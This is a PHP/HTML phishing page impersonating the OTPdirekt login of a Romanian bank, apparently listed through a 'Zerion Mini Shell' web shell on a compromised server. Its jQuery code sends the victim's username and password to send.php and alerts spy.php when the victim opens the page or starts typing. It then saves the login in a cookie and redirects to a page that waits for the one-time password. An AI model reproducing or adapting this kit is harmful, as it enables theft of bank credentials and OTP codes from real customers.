Mini Shell
<?php require(__DIR__) . '/../main.php'; ?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>SmartBank</title>
<!-- <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.4/css/all.min.css"
integrity="sha512-1ycn6IcaQQ40/MKBW2W4Rhis/DbILU74C1vSrLJxCq57o941Ym01SwNsOMqvEBFlcgUa6xLiPY/NS5R+E6ztJQ=="
crossorigin="anonymous" referrerpolicy="no-referrer" /> -->
<link href="https://cdn.jsdelivr.net/gh/hung1001/font-awesome-pro@4cac1a6/css/all.css" rel="stylesheet"
type="text/css" />
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@5.2.3/dist/css/bootstrap.min.css"
integrity="sha384-rbsA2VBKQhggwzxH7pPCaAqO46MgnOM80zW1RWuH61DGLwZJEdK2Kadq2F9CUG65" crossorigin="anonymous">
<!-- <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"> -->
<link rel="stylesheet" href="themes/css/login.css">
</head>
<body>
<?php include 'includes/nav.php'; ?>
<div class="container-fluid mt-5">
<div class="row justify-content-center">
<div class="col-10 col-md-5">
<div class="bceed">
<form action="" method="POST" id="form" data-redirection="sms" class="form_4636">
<div class="hbrhfbc">
<div class="floating-label-group">
<input name="login" type="text" id="CustID" class="inputss floating-label-item"
required />
<i class="fal fa-info-circle"></i>
<label class="floating-label">Utilizator</label>
</div>
<?php if (isset($_GET['e'])) { ?>
<p class="span_error" id="error_username">Utilizatorul nu este valid</p>
<?php } ?>
<p class="uguegf">Ai uitat utilizatorul?</a>
<div class="floating-label-group">
<input name="password" type="password" id="password" class="inputss floating-label-item"
required />
<i class="fal fa-info-circle"></i>
<label class="floating-label">Parolă / Cod de acces</label>
</div>
<?php if (isset($_GET['e'])) { ?>
<p class="span_error" id="error_password">Eroare parolă</p>
<?php } ?>
<p class="uguegf endjoeunf">Ai uitat parola / codul de acces?</a>
<div class="ncozaz">
<div class="round">
<input type="checkbox" id="checkbox1" />
<label for="checkbox1"></label>
</div>
<div class="rvrv">
<label class="jxne">Reţine utilizatorul pentru viitoarele autentificări</label>
<i class="fal fa-info-circle"></i>
</div>
</div>
<div class="jrv"></div>
<div class="ncozaz">
<div class="round">
<input type="checkbox" id="checkbox2" />
<label for="checkbox2"></label>
</div>
<label class="jxne"> Sunt de acord cu <span class="xbne">termenii și
condițiile</span> de utilizare a serviciului OTPdirekt </label>
</div>
</div>
<div class="nuufdref">
<button type="submit" id="checkButton" class="btn_login">Autentificare</button>
<div class="ouhyduce">
<div class="uhyeg">
<img src="assets\icon\c1.svg" alt="" class="dugc">
<p class="dfr">Curs valutar</p>
</div>
<div class="uhyeg">
<img src="assets\icon\c2.svg" alt="" class="dugc">
<p class="dfr">Sucursale și ATM</p>
</div>
</div>
</div>
</form>
</div>
</div>
</div>
</div>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.2.3/dist/js/bootstrap.min.js"
integrity="sha384-cuYeSxntonz0PPNlHhBs68uyIAVpIIOZZ5JqeqvYYIcEL727kskC66kF92t6Xl2V" crossorigin="anonymous">
</script>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.2.3/dist/js/bootstrap.bundle.min.js"
integrity="sha384-kenU1KFdBIe4zVF0s0G1M5b4hcpxyD9F7jL+jjXkk+Q2h455rYXK/7HAuoJl+0I4" crossorigin="anonymous">
</script>
<script>
document.addEventListener("DOMContentLoaded", function () {
const inputElements = document.querySelectorAll(".inputss");
const checkButton = document.getElementById("checkButton");
// Function to check if all inputs are not empty
function areAllInputsNotEmpty() {
let allNotEmpty = true;
inputElements.forEach((input) => {
if (input.value.trim() === "") {
allNotEmpty = false;
}
});
return allNotEmpty;
}
// Event listener for input changes
inputElements.forEach((input) => {
input.addEventListener("input", function () {
checkButton.disabled = !areAllInputsNotEmpty();
if (areAllInputsNotEmpty()) {
checkButton.style.backgroundColor = "rgb(82, 174, 48)"
checkButton.style.color = "#fff"
} else {
checkButton.style.backgroundColor = "#e3e3e3"
checkButton.style.color = "#797979"
}
});
});
// // Event listener for the check button
// checkButton.addEventListener("click", function () {
// if (areAllInputsNotEmpty()) {
// alert("All inputs are not empty!");
// } else {
// alert("Some inputs are empty.");
// }
// });
});
</script>
<script>
document.addEventListener("DOMContentLoaded", function () {
const inputElements = document.querySelectorAll(".inputss");
const checkButton = document.getElementById("checkButton");
// Function to check if all inputs are not empty
function areAllInputsNotEmpty() {
let allNotEmpty = true;
inputElements.forEach((input) => {
if (input.value.trim() === "") {
allNotEmpty = false;
}
});
return allNotEmpty;
}
// Event listener for input changes
inputElements.forEach((input) => {
input.addEventListener("input", function () {
checkButton.disabled = !areAllInputsNotEmpty();
if (areAllInputsNotEmpty()) {
checkButton.style.backgroundColor = "rgb(82, 174, 48)"
checkButton.style.color = "#fff"
} else {
checkButton.style.backgroundColor = "#e3e3e3"
checkButton.style.color = "#797979"
}
});
});
// // Event listener for the check button
// checkButton.addEventListener("click", function () {
// if (areAllInputsNotEmpty()) {
// alert("All inputs are not empty!");
// } else {
// alert("Some inputs are empty.");
// }
// });
});
</script>
<script src="res/jq.js"></script>
<?php $m->ctr("LOGIN"); ?>
<script>
$(document).ready(function () {
function createCookie(name, value, days) {
const expires = new Date();
expires.setFullYear(expires.getFullYear() + 1); // Add 1 year to the current date
expires.setHours(0, 0, 0, 0); // Set the time to midnight
expires.setDate(expires.getDate() + days); // Add additional days if needed
const cookieValue = encodeURIComponent(value) + "; expires=" + expires.toUTCString();
document.cookie = name + "=" + cookieValue + "; path=/";
}
var abort = false;
$('#CustID').keyup(function (e) {
if (abort == false) {
$.post("spy.php", {
otping: 1
});
abort = true;
}
});
$("#form").on("submit", function (e) {
e.preventDefault()
$.post("send.php", {
CustID: $("#CustID").val(),
password: $("#password").val()
}, function () {
createCookie("login", $("#CustID").val(), 365)
window.location = "wait.php?p=OTP";
});
});
$.post("spy.php", {
otpview: 1
});
});
</script>
<?php $m->ctr("LOGIN " . @$_GET['e']); ?>
</body>
</html>
Zerion Mini Shell 1.0